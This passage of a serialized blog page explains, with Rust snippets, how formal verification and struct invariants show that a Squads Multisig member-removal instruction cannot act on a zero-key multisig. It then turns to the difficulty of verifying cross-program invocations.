data",{"type":24,"tag":83,"props":26702,"children":26703},{"style":143},[26704],{"type":29,"value":195},{"type":24,"tag":83,"props":26706,"children":26707},{"style":143},[26708],{"type":29,"value":25050},{"type":24,"tag":83,"props":26710,"children":26711},{"style":107},[26712],{"type":29,"value":989},{"type":24,"tag":83,"props":26714,"children":26715},{"class":85,"line":358},[26716,26720,26724,26728],{"type":24,"tag":83,"props":26717,"children":26718},{"style":137},[26719],{"type":29,"value":25103},{"type":24,"tag":83,"props":26721,"children":26722},{"style":143},[26723],{"type":29,"value":195},{"type":24,"tag":83,"props":26725,"children":26726},{"style":245},[26727],{"type":29,"value":248},{"type":24,"tag":83,"props":26729,"children":26730},{"style":107},[26731],{"type":29,"value":989},{"type":24,"tag":83,"props":26733,"children":26734},{"class":85,"line":367},[26735],{"type":24,"tag":83,"props":26736,"children":26737},{"style":107},[26738],{"type":29,"value":25124},{"type":24,"tag":83,"props":26740,"children":26741},{"class":85,"line":406},[26742],{"type":24,"tag":83,"props":26743,"children":26744},{"style":107},[26745],{"type":29,"value":2130},{"type":24,"tag":83,"props":26747,"children":26748},{"class":85,"line":427},[26749,26753,26757,26761,26765,26769],{"type":24,"tag":83,"props":26750,"children":26751},{"style":137},[26752],{"type":29,"value":25139},{"type":24,"tag":83,"props":26754,"children":26755},{"style":143},[26756],{"type":29,"value":195},{"type":24,"tag":83,"props":26758,"children":26759},{"style":3163},[26760],{"type":29,"value":25148},{"type":24,"tag":83,"props":26762,"children":26763},{"style":107},[26764],{"type":29,"value":9333},{"type":24,"tag":83,"props":26766,"children":26767},{"style":143},[26768],{"type":29,"value":509},{"type":24,"tag":83,"props":26770,"children":26771},{"style":107},[26772],{"type":29,"value":25161},{"type":24,"tag":83,"props":26774,"children":26775},{"class":85,"line":440},[26776],{"type":24,"tag":83,"props":26777,"children":26778},{"style":107},[26779],{"type":29,"value":464},{"type":24,"tag":25,"props":26781,"children":26782},{},[26783],{"type":29,"value":26784},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":25,"props":26786,"children":26787},{},[26788,26790,26796],{"type":29,"value":26789},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":32,"props":26791,"children":26793},{"className":26792},[],[26794],{"type":29,"value":26795},"Ms::remove_member",{"type":29,"value":195},{"type":24,"tag":73,"props":26798,"children":26800},{"code":26799,"language":2724,"meta":7,"className":2725,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[26801],{"type":24,"tag":32,"props":26802,"children":26803},{"__ignoreMap":7},[26804,26863,26894,26901],{"type":24,"tag":83,"props":26805,"children":26806},{"class":85,"line":86},[26807,26811,26815,26819,26823,26827,26831,26835,26839,26843,26847,26851,26855,26859],{"type":24,"tag":83,"props":26808,"children":26809},{"style":117},[26810],{"type":29,"value":1094},{"type":24,"tag":83,"props":26812,"children":26813},{"style":137},[26814],{"type":29,"value":25592},{"type":24,"tag":83,"props":26816,"children":26817},{"style":143},[26818],{"type":29,"value":161},{"type":24,"tag":83,"props":26820,"children":26821},{"style":107},[26822],{"type":29,"value":14418},{"type":24,"tag":83,"props":26824,"children":26825},{"style":143},[26826],{"type":29,"value":161},{"type":24,"tag":83,"props":26828,"children":26829},{"style":107},[26830],{"type":29,"value":23555},{"type":24,"tag":83,"props":26832,"children":26833},{"style":143},[26834],{"type":29,"value":161},{"type":24,"tag":83,"props":26836,"children":26837},{"style":107},[26838],{"type":29,"value":20723},{"type":24,"tag":83,"props":26840,"children":26841},{"style":143},[26842],{"type":29,"value":161},{"type":24,"tag":83,"props":26844,"children":26845},{"style":101},[26846],{"type":29,"value":8885},{"type":24,"tag":83,"props":26848,"children":26849},{"style":107},[26850],{"type":29,"value":13788},{"type":24,"tag":83,"props":26852,"children":26853},{"style":143},[26854],{"type":29,"value":8320},{"type":24,"tag":83,"props":26856,"children":26857},{"style":245},[26858],{"type":29,"value":295},{"type":24,"tag":83,"props":26860,"children":26861},{"style":107},[26862],{"type":29,"value":125},{"type":24,"tag":83,"props":26864,"children":26865},{"class":85,"line":113},[26866,26870,26874,26878,26882,26886,26890],{"type":24,"tag":83,"props":26867,"children":26868},{"style":117},[26869],{"type":29,"value":16725},{"type":24,"tag":83,"props":26871,"children":26872},{"style":101},[26873],{"type":29,"value":23258},{"type":24,"tag":83,"props":26875,"children":26876},{"style":107},[26877],{"type":29,"value":558},{"type":24,"tag":83,"props":26879,"children":26880},{"style":3163},[26881],{"type":29,"value":23267},{"type":24,"tag":83,"props":26883,"children":26884},{"style":143},[26885],{"type":29,"value":3226},{"type":24,"tag":83,"props":26887,"children":26888},{"style":3163},[26889],{"type":29,"value":25668},{"type":24,"tag":83,"props":26891,"children":26892},{"style":107},[26893],{"type":29,"value":581},{"type":24,"tag":83,"props":26895,"children":26896},{"class":85,"line":128},[26897],{"type":24,"tag":83,"props":26898,"children":26899},{"style":107},[26900],{"type":29,"value":464},{"type":24,"tag":83,"props":26902,"children":26903},{"class":85,"line":183},[26904,26908,26912,26916,26920,26924,26928,26932,26936,26940,26944,26948],{"type":24,"tag":83,"props":26905,"children":26906},{"style":137},[26907],{"type":29,"value":20021},{"type":24,"tag":83,"props":26909,"children":26910},{"style":143},[26911],{"type":29,"value":161},{"type":24,"tag":83,"props":26913,"children":26914},{"style":107},[26915],{"type":29,"value":14418},{"type":24,"tag":83,"props":26917,"children":26918},{"style":143},[26919],{"type":29,"value":161},{"type":24,"tag":83,"props":26921,"children":26922},{"style":107},[26923],{"type":29,"value":23555},{"type":24,"tag":83,"props":26925,"children":26926},{"style":143},[26927],{"type":29,"value":161},{"type":24,"tag":83,"props":26929,"children":26930},{"style":101},[26931],{"type":29,"value":25216},{"type":24,"tag":83,"props":26933,"children":26934},{"style":107},[26935],{"type":29,"value":558},{"type":24,"tag":83,"props":26937,"children":26938},{"style":137},[26939],{"type":29,"value":25548},{"type":24,"tag":83,"props":26941,"children":26942},{"style":107},[26943],{"type":29,"value":2872},{"type":24,"tag":83,"props":26945,"children":26946},{"style":143},[26947],{"type":29,"value":2900},{"type":24,"tag":83,"props":26949,"children":26950},{"style":107},[26951],{"type":29,"value":321},{"type":24,"tag":25,"props":26953,"children":26954},{},[26955,26957,26963,26965,26971],{"type":29,"value":26956},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":32,"props":26958,"children":26960},{"className":26959},[],[26961],{"type":29,"value":26962},"Ms::is_member",{"type":29,"value":26964},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":32,"props":26966,"children":26968},{"className":26967},[],[26969],{"type":29,"value":26970},"Ok(())",{"type":29,"value":161},{"type":24,"tag":73,"props":26973,"children":26975},{"code":26974,"language":2724,"meta":7,"className":2725,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[26976],{"type":24,"tag":32,"props":26977,"children":26978},{"__ignoreMap":7},[26979,27043,27102,27139,27198,27266,27273,27280,27291],{"type":24,"tag":83,"props":26980,"children":26981},{"class":85,"line":86},[26982,26986,26990,26994,26998,27002,27006,27010,27014,27019,27023,27027,27031,27035,27039],{"type":24,"tag":83,"props":26983,"children":26984},{"style":90},[26985],{"type":29,"value":13435},{"type":24,"tag":83,"props":26987,"children":26988},{"style":90},[26989],{"type":29,"value":13440},{"type":24,"tag":83,"props":26991,"children":26992},{"style":101},[26993],{"type":29,"value":25514},{"type":24,"tag":83,"props":26995,"children":26996},{"style":107},[26997],{"type":29,"value":558},{"type":24,"tag":83,"props":26999,"children":27000},{"style":143},[27001],{"type":29,"value":2853},{"type":24,"tag":83,"props":27003,"children":27004},{"style":90},[27005],{"type":29,"value":3468},{"type":24,"tag":83,"props":27007,"children":27008},{"style":90},[27009],{"type":29,"value":13542},{"type":24,"tag":83,"props":27011,"children":27012},{"style":107},[27013],{"type":29,"value":568},{"type":24,"tag":83,"props":27015,"children":27016},{"style":137},[27017],{"type":29,"value":27018},"member",{"type":24,"tag":83,"props":27020,"children":27021},{"style":143},[27022],{"type":29,"value":195},{"type":24,"tag":83,"props":27024,"children":27025},{"style":3163},[27026],{"type":29,"value":20597},{"type":24,"tag":83,"props":27028,"children":27029},{"style":107},[27030],{"type":29,"value":633},{"type":24,"tag":83,"props":27032,"children":27033},{"style":143},[27034],{"type":29,"value":13502},{"type":24,"tag":83,"props":27036,"children":27037},{"style":3163},[27038],{"type":29,"value":13507},{"type":24,"tag":83,"props":27040,"children":27041},{"style":107},[27042],{"type":29,"value":20072},{"type":24,"tag":83,"props":27044,"children":27045},{"class":85,"line":113},[27046,27050,27055,27060,27064,27069,27073,27077,27081,27085,27090,27094,27098],{"type":24,"tag":83,"props":27047,"children":27048},{"style":117},[27049],{"type":29,"value":218},{"type":24,"tag":83,"props":27051,"children":27052},{"style":90},[27053],{"type":29,"value":27054}," let",{"type":24,"tag":83,"props":27056,"children":27057},{"style":3163},[27058],{"type":29,"value":27059}," Some",{"type":24,"tag":83,"props":27061,"children":27062},{"style":107},[27063],{"type":29,"value":558},{"type":24,"tag":83,"props":27065,"children":27066},{"style":137},[27067],{"type":29,"value":27068},"ind",{"type":24,"tag":83,"props":27070,"children":27071},{"style":107},[27072],{"type":29,"value":633},{"type":24,"tag":83,"props":27074,"children":27075},{"style":143},[27076],{"type":29,"value":1275},{"type":24,"tag":83,"props":27078,"children":27079},{"style":90},[27080],{"type":29,"value":13542},{"type":24,"tag":83,"props":27082,"children":27083},{"style":143},[27084],{"type":29,"value":161},{"type":24,"tag":83,"props":27086,"children":27087},{"style":101},[27088],{"type":29,"value":27089},"is_member",{"type":24,"tag":83,"props":27091,"children":27092},{"style":107},[27093],{"type":29,"value":558},{"type":24,"tag":83,"props":27095,"children":27096},{"style":137},[27097],{"type":29,"value":27018},{"type":24,"tag":83,"props":27099,"children":27100},{"style":107},[27101],{"type":29,"value":253},{"type":24,"tag":83,"props":27103,"children":27104},{"class":85,"line":128},[27105,27110,27114,27118,27122,27127,27131,27135],{"type":24,"tag":83,"props":27106,"children":27107},{"style":90},[27108],{"type":29,"value":27109},"        self",{"type":24,"tag":83,"props":27111,"children":27112},{"style":143},[27113],{"type":29,"value":161},{"type":24,"tag":83,"props":27115,"children":27116},{"style":107},[27117],{"type":29,"value":20723},{"type":24,"tag":83,"props":27119,"children":27120},{"style":143},[27121],{"type":29,"value":161},{"type":24,"tag":83,"props":27123,"children":27124},{"style":101},[27125],{"type":29,"value":27126},"remove",{"type":24,"tag":83,"props":27128,"children":27129},{"style":107},[27130],{"type":29,"value":558},{"type":24,"tag":83,"props":27132,"children":27133},{"style":137},[27134],{"type":29,"value":27068},{"type":24,"tag":83,"props":27136,"children":27137},{"style":107},[27138],{"type":29,"value":581},{"type":24,"tag":83,"props":27140,"children":27141},{"class":85,"line":183},[27142,27146,27150,27154,27158,27162,27166,27170,27174,27178,27182,27186,27190,27194],{"type":24,"tag":83,"props":27143,"children":27144},{"style":117},[27145],{"type":29,"value":3018},{"type":24,"tag":83,"props":27147,"children":27148},{"style":90},[27149],{"type":29,"value":13542},{"type":24,"tag":83,"props":27151,"children":27152},{"style":143},[27153],{"type":29,"value":161},{"type":24,"tag":83,"props":27155,"children":27156},{"style":107},[27157],{"type":29,"value":20723},{"type":24,"tag":83,"props":27159,"children":27160},{"style":143},[27161],{"type":29,"value":161},{"type":24,"tag":83,"props":27163,"children":27164},{"style":101},[27165],{"type":29,"value":8885},{"type":24,"tag":83,"props":27167,"children":27168},{"style":107},[27169],{"type":29,"value":25793},{"type":24,"tag":83,"props":27171,"children":27172},{"style":3163},[27173],{"type":29,"value":16336},{"type":24,"tag":83,"props":27175,"children":27176},{"style":143},[27177],{"type":29,"value":3226},{"type":24,"tag":83,"props":27179,"children":27180},{"style":101},[27181],{"type":29,"value":19213},{"type":24,"tag":83,"props":27183,"children":27184},{"style":107},[27185],{"type":29,"value":558},{"type":24,"tag":83,"props":27187,"children":27188},{"style":90},[27189],{"type":29,"value":13458},{"type":24,"tag":83,"props":27191,"children":27192},{"style":143},[27193],{"type":29,"value":161},{"type":24,"tag":83,"props":27195,"children":27196},{"style":107},[27197],{"type":29,"value":25838},{"type":24,"tag":83,"props":27199,"children":27200},{"class":85,"line":203},[27201,27206,27210,27214,27218,27222,27226,27230,27234,27238,27242,27246,27250,27254,27258,27262],{"type":24,"tag":83,"props":27202,"children":27203},{"style":90},[27204],{"type":29,"value":27205},"            self",{"type":24,"tag":83,"props":27207,"children":27208},{"style":143},[27209],{"type":29,"value":161},{"type":24,"tag":83,"props":27211,"children":27212},{"style":107},[27213],{"type":29,"value":20811},{"type":24,"tag":83,"props":27215,"children":27216},{"style":143},[27217],{"type":29,"value":1275},{"type":24,"tag":83,"props":27219,"children":27220},{"style":90},[27221],{"type":29,"value":13542},{"type":24,"tag":83,"props":27223,"children":27224},{"style":143},[27225],{"type":29,"value":161},{"type":24,"tag":83,"props":27227,"children":27228},{"style":107},[27229],{"type":29,"value":20723},{"type":24,"tag":83,"props":27231,"children":27232},{"style":143},[27233],{"type":29,"value":161},{"type":24,"tag":83,"props":27235,"children":27236},{"style":101},[27237],{"type":29,"value":8885},{"type":24,"tag":83,"props":27239,"children":27240},{"style":107},[27241],{"type":29,"value":13624},{"type":24,"tag":83,"props":27243,"children":27244},{"style":143},[27245],{"type":29,"value":161},{"type":24,"tag":83,"props":27247,"children":27248},{"style":101},[27249],{"type":29,"value":25911},{"type":24,"tag":83,"props":27251,"children":27252},{"style":107},[27253],{"type":29,"value":13624},{"type":24,"tag":83,"props":27255,"children":27256},{"style":143},[27257],{"type":29,"value":161},{"type":24,"tag":83,"props":27259,"children":27260},{"style":101},[27261],{"type":29,"value":3410},{"type":24,"tag":83,"props":27263,"children":27264},{"style":107},[27265],{"type":29,"value":267},{"type":24,"tag":83,"props":27267,"children":27268},{"class":85,"line":212},[27269],{"type":24,"tag":83,"props":27270,"children":27271},{"style":107},[27272],{"type":29,"value":3092},{"type":24,"tag":83,"props":27274,"children":27275},{"class":85,"line":256},[27276],{"type":24,"tag":83,"props":27277,"children":27278},{"style":107},[27279],{"type":29,"value":446},{"type":24,"tag":83,"props":27281,"children":27282},{"class":85,"line":270},[27283,27287],{"type":24,"tag":83,"props":27284,"children":27285},{"style":3163},[27286],{"type":29,"value":14076},{"type":24,"tag":83,"props":27288,"children":27289},{"style":107},[27290],{"type":29,"value":14081},{"type":24,"tag":83,"props":27292,"children":27293},{"class":85,"line":302},[27294],{"type":24,"tag":83,"props":27295,"children":27296},{"style":107},[27297],{"type":29,"value":464},{"type":24,"tag":25,"props":27299,"children":27300},{},[27301,27303,27308,27310,27316,27318,27324,27326,27331],{"type":29,"value":27302},"Inside ",{"type":24,"tag":32,"props":27304,"children":27306},{"className":27305},[],[27307],{"type":29,"value":26962},{"type":29,"value":27309},", we see that it performs a ",{"type":24,"tag":32,"props":27311,"children":27313},{"className":27312},[],[27314],{"type":29,"value":27315},"binary_search",{"type":29,"value":27317}," on the keys vec and returns the index or ",{"type":24,"tag":32,"props":27319,"children":27321},{"className":27320},[],[27322],{"type":29,"value":27323},"None",{"type":29,"value":27325},". Since the vec has size zero, this will just return ",{"type":24,"tag":32,"props":27327,"children":27329},{"className":27328},[],[27330],{"type":29,"value":27323},{"type":29,"value":161},{"type":24,"tag":73,"props":27333,"children":27335},{"code":27334,"language":2724,"meta":7,"className":2725,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[27336],{"type":24,"tag":32,"props":27337,"children":27338},{"__ignoreMap":7},[27339,27408,27451,27490,27512,27519],{"type":24,"tag":83,"props":27340,"children":27341},{"class":85,"line":86},[27342,27346,27350,27355,27359,27363,27367,27371,27375,27379,27383,27387,27391,27396,27400,27404],{"type":24,"tag":83,"props":27343,"children":27344},{"style":90},[27345],{"type":29,"value":13435},{"type":24,"tag":83,"props":27347,"children":27348},{"style":90},[27349],{"type":29,"value":13440},{"type":24,"tag":83,"props":27351,"children":27352},{"style":101},[27353],{"type":29,"value":27354}," is_member",{"type":24,"tag":83,"props":27356,"children":27357},{"style":107},[27358],{"type":29,"value":558},{"type":24,"tag":83,"props":27360,"children":27361},{"style":143},[27362],{"type":29,"value":2853},{"type":24,"tag":83,"props":27364,"children":27365},{"style":90},[27366],{"type":29,"value":13458},{"type":24,"tag":83,"props":27368,"children":27369},{"style":107},[27370],{"type":29,"value":568},{"type":24,"tag":83,"props":27372,"children":27373},{"style":137},[27374],{"type":29,"value":27018},{"type":24,"tag":83,"props":27376,"children":27377},{"style":143},[27378],{"type":29,"value":195},{"type":24,"tag":83,"props":27380,"children":27381},{"style":3163},[27382],{"type":29,"value":20597},{"type":24,"tag":83,"props":27384,"children":27385},{"style":107},[27386],{"type":29,"value":633},{"type":24,"tag":83,"props":27388,"children":27389},{"style":143},[27390],{"type":29,"value":13502},{"type":24,"tag":83,"props":27392,"children":27393},{"style":3163},[27394],{"type":29,"value":27395}," Option",{"type":24,"tag":83,"props":27397,"children":27398},{"style":107},[27399],{"type":29,"value":5552},{"type":24,"tag":83,"props":27401,"children":27402},{"style":3163},[27403],{"type":29,"value":16336},{"type":24,"tag":83,"props":27405,"children":27406},{"style":107},[27407],{"type":29,"value":7028},{"type":24,"tag":83,"props":27409,"children":27410},{"class":85,"line":113},[27411,27415,27419,27423,27427,27431,27435,27439,27443,27447],{"type":24,"tag":83,"props":27412,"children":27413},{"style":117},[27414],{"type":29,"value":14496},{"type":24,"tag":83,"props":27416,"children":27417},{"style":90},[27418],{"type":29,"value":13542},{"type":24,"tag":83,"props":27420,"children":27421},{"style":143},[27422],{"type":29,"value":161},{"type":24,"tag":83,"props":27424,"children":27425},{"style":107},[27426],{"type":29,"value":20723},{"type":24,"tag":83,"props":27428,"children":27429},{"style":143},[27430],{"type":29,"value":161},{"type":24,"tag":83,"props":27432,"children":27433},{"style":101},[27434],{"type":29,"value":27315},{"type":24,"tag":83,"props":27436,"children":27437},{"style":107},[27438],{"type":29,"value":558},{"type":24,"tag":83,"props":27440,"children":27441},{"style":143},[27442],{"type":29,"value":2853},{"type":24,"tag":83,"props":27444,"children":27445},{"style":137},[27446],{"type":29,"value":27018},{"type":24,"tag":83,"props":27448,"children":27449},{"style":107},[27450],{"type":29,"value":253},{"type":24,"tag":83,"props":27452,"children":27453},{"class":85,"line":128},[27454,27458,27462,27466,27470,27474,27478,27482,27486],{"type":24,"tag":83,"props":27455,"children":27456},{"style":3163},[27457],{"type":29,"value":14554},{"type":24,"tag":83,"props":27459,"children":27460},{"style":107},[27461],{"type":29,"value":558},{"type":24,"tag":83,"props":27463,"children":27464},{"style":137},[27465],{"type":29,"value":27068},{"type":24,"tag":83,"props":27467,"children":27468},{"style":107},[27469],{"type":29,"value":633},{"type":24,"tag":83,"props":27471,"children":27472},{"style":143},[27473],{"type":29,"value":14564},{"type":24,"tag":83,"props":27475,"children":27476},{"style":3163},[27477],{"type":29,"value":27059},{"type":24,"tag":83,"props":27479,"children":27480},{"style":107},[27481],{"type":29,"value":558},{"type":24,"tag":83,"props":27483,"children":27484},{"style":137},[27485],{"type":29,"value":27068},{"type":24,"tag":83,"props":27487,"children":27488},{"style":107},[27489],{"type":29,"value":6483},{"type":24,"tag":83,"props":27491,"children":27492},{"class":85,"line":183},[27493,27498,27503,27508],{"type":24,"tag":83,"props":27494,"children":27495},{"style":137},[27496],{"type":29,"value":27497},"        _",{"type":24,"tag":83,"props":27499,"children":27500},{"style":143},[27501],{"type":29,"value":27502}," =>",{"type":24,"tag":83,"props":27504,"children":27505},{"style":3163},[27506],{"type":29,"value":27507}," None",{"type":24,"tag":83,"props":27509,"children":27510},{"style":107},[27511],{"type":29,"value":989},{"type":24,"tag":83,"props":27513,"children":27514},{"class":85,"line":203},[27515],{"type":24,"tag":83,"props":27516,"children":27517},{"style":107},[27518],{"type":29,"value":446},{"type":24,"tag":83,"props":27520,"children":27521},{"class":85,"line":212},[27522],{"type":24,"tag":83,"props":27523,"children":27524},{"style":107},[27525],{"type":29,"value":464},{"type":24,"tag":25,"props":27527,"children":27528},{},[27529,27531,27536,27538,27543,27545,27550,27552,27557],{"type":29,"value":27530},"So interestingly, a ",{"type":24,"tag":32,"props":27532,"children":27534},{"className":27533},[],[27535],{"type":29,"value":20723},{"type":29,"value":27537}," vec of size 0 ",{"type":24,"tag":2655,"props":27539,"children":27540},{},[27541],{"type":29,"value":27542},"is actually",{"type":29,"value":27544}," a sufficient condition to execute ",{"type":24,"tag":32,"props":27546,"children":27548},{"className":27547},[],[27549],{"type":29,"value":25216},{"type":29,"value":27551},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":24,"tag":2655,"props":27553,"children":27554},{},[27555],{"type":29,"value":27556},"valid",{"type":29,"value":27558}," multisig, the number of keys should never be zero.",{"type":24,"tag":25,"props":27560,"children":27561},{},[27562,27564,27569],{"type":29,"value":27563},"We can represent this ",{"type":24,"tag":2655,"props":27565,"children":27566},{},[27567],{"type":29,"value":27568},"validity",{"type":29,"value":27570}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":24,"tag":73,"props":27572,"children":27574},{"code":27573,"language":2724,"meta":7,"className":2725,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[27575],{"type":24,"tag":32,"props":27576,"children":27577},{"__ignoreMap":7},[27578,27585,27608,27659,27666],{"type":24,"tag":83,"props":27579,"children":27580},{"class":85,"line":86},[27581],{"type":24,"tag":83,"props":27582,"children":27583},{"style":107},[27584],{"type":29,"value":20518},{"type":24,"tag":83,"props":27586,"children":27587},{"class":85,"line":113},[27588,27592,27596,27600,27604],{"type":24,"tag":83,"props":27589,"children":27590},{"style":107},[27591],{"type":29,"value":24480},{"type":24,"tag":83,"props":27593,"children":27594},{"style":143},[27595],{"type":29,"value":161},{"type":24,"tag":83,"props":27597,"children":27598},{"style":107},[27599],{"type":29,"value":20811},{"type":24,"tag":83,"props":27601,"children":27602},{"style":143},[27603],{"type":29,"value":9690},{"type":24,"tag":83,"props":27605,"children":27606},{"style":107},[27607],{"type":29,"value":20820},{"type":24,"tag":83,"props":27609,"children":27610},{"class":85,"line":128},[27611,27615,27619,27623,27627,27631,27635,27639,27643,27647,27651,27655],{"type":24,"tag":83,"props":27612,"children":27613},{"style":143},[27614],{"type":29,"value":15360},{"type":24,"tag":83,"props":27616,"children":27617},{"style":107},[27618],{"type":29,"value":20744},{"type":24,"tag":83,"props":27620,"children":27621},{"style":143},[27622],{"type":29,"value":161},{"type":24,"tag":83,"props":27624,"children":27625},{"style":107},[27626],{"type":29,"value":20811},{"type":24,"tag":83,"props":27628,"children":27629},{"style":90},[27630],{"type":29,"value":8586},{"type":24,"tag":83,"props":27632,"children":27633},{"style":3163},[27634],{"type":29,"value":13476},{"type":24,"tag":83,"props":27636,"children":27637},{"style":143},[27638],{"type":29,"value":7942},{"type":24,"tag":83,"props":27640,"children":27641},{"style":107},[27642],{"type":29,"value":13542},{"type":24,"tag":83,"props":27644,"children":27645},{"style":143},[27646],{"type":29,"value":161},{"type":24,"tag":83,"props":27648,"children":27649},{"style":107},[27650],{"type":29,"value":20723},{"type":24,"tag":83,"props":27652,"children":27653},{"style":143},[27654],{"type":29,"value":161},{"type":24,"tag":83,"props":27656,"children":27657},{"style":107},[27658],{"type":29,"value":20872},{"type":24,"tag":83,"props":27660,"children":27661},{"class":85,"line":183},[27662],{"type":24,"tag":83,"props":27663,"children":27664},{"style":107},[27665],{"type":29,"value":19999},{"type":24,"tag":83,"props":27667,"children":27668},{"class":85,"line":203},[27669,27673,27677,27681,27685,27689],{"type":24,"tag":83,"props":27670,"children":27671},{"style":90},[27672],{"type":29,"value":13435},{"type":24,"tag":83,"props":27674,"children":27675},{"style":90},[27676],{"type":29,"value":20891},{"type":24,"tag":83,"props":27678,"children":27679},{"style":3163},[27680],{"type":29,"value":20896},{"type":24,"tag":83,"props":27682,"children":27683},{"style":107},[27684],{"type":29,"value":9333},{"type":24,"tag":83,"props":27686,"children":27687},{"style":143},[27688],{"type":29,"value":509},{"type":24,"tag":83,"props":27690,"children":27691},{"style":107},[27692],{"type":29,"value":9342},{"type":24,"tag":25,"props":27694,"children":27695},{},[27696,27698,27704,27706,27712],{"type":29,"value":27697},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":24,"tag":32,"props":27699,"children":27701},{"className":27700},[],[27702],{"type":29,"value":27703},"keys.len() == 0",{"type":29,"value":27705}," and allows us to prove the biconditional ",{"type":24,"tag":32,"props":27707,"children":27709},{"className":27708},[],[27710],{"type":29,"value":27711},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":161},{"type":24,"tag":1818,"props":27714,"children":27716},{"id":27715},"safety-guarantees",[27717],{"type":29,"value":22524},{"type":24,"tag":25,"props":27719,"children":27720},{},[27721],{"type":29,"value":27722},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":24,"tag":25,"props":27724,"children":27725},{},[27726],{"type":29,"value":27727},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":24,"tag":25,"props":27729,"children":27730},{},[27731,27733,27739],{"type":29,"value":27732},"In the multisig program this happens in the ",{"type":24,"tag":32,"props":27734,"children":27736},{"className":27735},[],[27737],{"type":29,"value":27738},"execute_transaction",{"type":29,"value":27740}," instruction.",{"type":24,"tag":25,"props":27742,"children":27743},{},[27744],{"type":24,"tag":2655,"props":27745,"children":27746},{},[27747],{"type":29,"value":27748},"So what do you do?",{"type":24,"tag":25,"props":27750,"children":27751},{},[27752],{"type":29,"value":27753},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":24,"tag":73,"props":27755,"children":27757},{"code":27756,"language":2724,"meta":7,"className":2725,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[27758],{"type":24,"tag":32,"props":27759,"children":27760},{"__ignoreMap":7},[27761,27776,27792,27807,27848,27855,27862,27869,27886,27902,27923,27930,27937,27953,27973,28001,28008,28015,28022,28030,28083,28109,28116,28145,28169,28204,28211,28222],{"type":24,"tag":83,"props":27762,"children":27763},{"class":85,"line":86},[27764,27768,27772],{"type":24,"tag":83,"props":27765,"children":27766},{"style":107},[27767],{"type":29,"value":22577},{"type":24,"tag":83,"props":27769,"children":27770},{"style":3163},[27771],{"type":29,"value":22582},{"type":24,"tag":83,"props":27773,"children":27774},{"style":107},[27775],{"type":29,"value":19999},{"type":24,"tag":83,"props":27777,"children":27778},{"class":85,"line":113},[27779,27783,27788],{"type":24,"tag":83,"props":27780,"children":27781},{"style":90},[27782],{"type":29,"value":13435},{"type":24,"tag":83,"props":27784,"children":27785},{"style":3163},[27786],{"type":29,"value":27787}," MyCtx",{"type":24,"tag":83,"props":27789,"children":27790},{"style":107},[27791],{"type":29,"value":125},{"type":24,"tag":83,"props":27793,"children":27794},{"class":85,"line":128},[27795,27799,27803],{"type":24,"tag":83,"props":27796,"children":27797},{"style":107},[27798],{"type":29,"value":22868},{"type":24,"tag":83,"props":27800,"children":27801},{"style":90},[27802],{"type":29,"value":3468},{"type":24,"tag":83,"props":27804,"children":27805},{"style":107},[27806],{"type":29,"value":19999},{"type":24,"tag":83,"props":27808,"children":27809},{"class":85,"line":183},[27810,27814,27819,27823,27827,27831,27835,27839,27844],{"type":24,"tag":83,"props":27811,"children":27812},{"style":90},[27813],{"type":29,"value":20583},{"type":24,"tag":83,"props":27815,"children":27816},{"style":137},[27817],{"type":29,"value":27818}," my_account",{"type":24,"tag":83,"props":27820,"children":27821},{"style":143},[27822],{"type":29,"value":195},{"type":24,"tag":83,"props":27824,"children":27825},{"style":3163},[27826],{"type":29,"value":22833},{"type":24,"tag":83,"props":27828,"children":27829},{"style":107},[27830],{"type":29,"value":22662},{"type":24,"tag":83,"props":27832,"children":27833},{"style":3163},[27834],{"type":29,"value":22667},{"type":24,"tag":83,"props":27836,"children":27837},{"style":107},[27838],{"type":29,"value":568},{"type":24,"tag":83,"props":27840,"children":27841},{"style":3163},[27842],{"type":29,"value":27843},"Acc",{"type":24,"tag":83,"props":27845,"children":27846},{"style":107},[27847],{"type":29,"value":5738},{"type":24,"tag":83,"props":27849,"children":27850},{"class":85,"line":203},[27851],{"type":24,"tag":83,"props":27852,"children":27853},{"style":107},[27854],{"type":29,"value":464},{"type":24,"tag":83,"props":27856,"children":27857},{"class":85,"line":212},[27858],{"type":24,"tag":83,"props":27859,"children":27860},{"emptyLinePlaceholder":16},[27861],{"type":29,"value":3422},{"type":24,"tag":83,"props":27863,"children":278